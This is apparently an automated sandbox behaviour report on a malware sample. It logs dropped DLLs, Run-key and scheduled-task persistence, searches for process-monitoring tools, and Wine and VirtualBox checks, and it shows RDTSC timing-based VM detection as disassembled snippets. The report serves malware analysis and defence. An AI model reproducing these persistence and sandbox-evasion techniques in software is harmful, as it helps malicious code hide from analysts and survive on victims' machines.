Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba324316e4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fe4405d388.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 258e650b63.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90c05232da.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90c05232da.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90c05232da.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba324316e4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba324316e4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fe4405d388.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fe4405d388.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 258e650b63.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 258e650b63.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_4-9744
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-10783

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3DC second address: E6F3E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3207 second address: FE320B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD591A second address: FD5927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5700D44686h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2340 second address: FE2358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148073h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2914 second address: FE291C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE291C second address: FE293C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5701148077h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE293C second address: FE2942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2942 second address: FE2948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2948 second address: FE2957 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jne 00007F5700D44686h 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2957 second address: FE297D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5701148078h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE297D second address: FE2981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2981 second address: FE298C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE298C second address: FE2992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5351 second address: FE538B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F570114806Dh 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 237585F0h 0x00000014 or si, BFB8h 0x00000019 lea ebx, dword ptr [ebp+12449FDCh] 0x0000001f push ebx 0x00000020 sub dword ptr [ebp+122D20D9h], ecx 0x00000026 pop edi 0x00000027 xchg eax, ebx 0x00000028 jc 00007F570114808Bh 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE538B second address: FE538F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE544F second address: FE5453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5453 second address: FE5459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE555F second address: FE5577 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5577 second address: FE5590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d jmp 00007F5700D4468Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100424F second address: 100427F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F5701148072h 0x0000000e push ecx 0x0000000f jmp 00007F5701148072h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100427F second address: 1004285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004285 second address: 100428F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5701148066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10046FF second address: 1004703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004872 second address: 1004876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004B4E second address: 1004B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5700D44686h 0x0000000a jmp 00007F5700D44698h 0x0000000f popad 0x00000010 pushad 0x00000011 jng 00007F5700D44686h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005012 second address: 1005034 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F570114806Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F5701148066h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F570114806Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9EC2 second address: FC9EEF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F5700D44686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5700D44699h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9EEF second address: FC9F0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F5701148066h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005184 second address: 100518E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5700D4468Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005A3A second address: 1005A46 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5701148066h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005A46 second address: 1005A69 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5700D4469Dh 0x00000008 jmp 00007F5700D44697h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005EA0 second address: 1005ECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148072h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edi 0x00000011 jmp 00007F570114806Eh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008FFD second address: 1009003 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
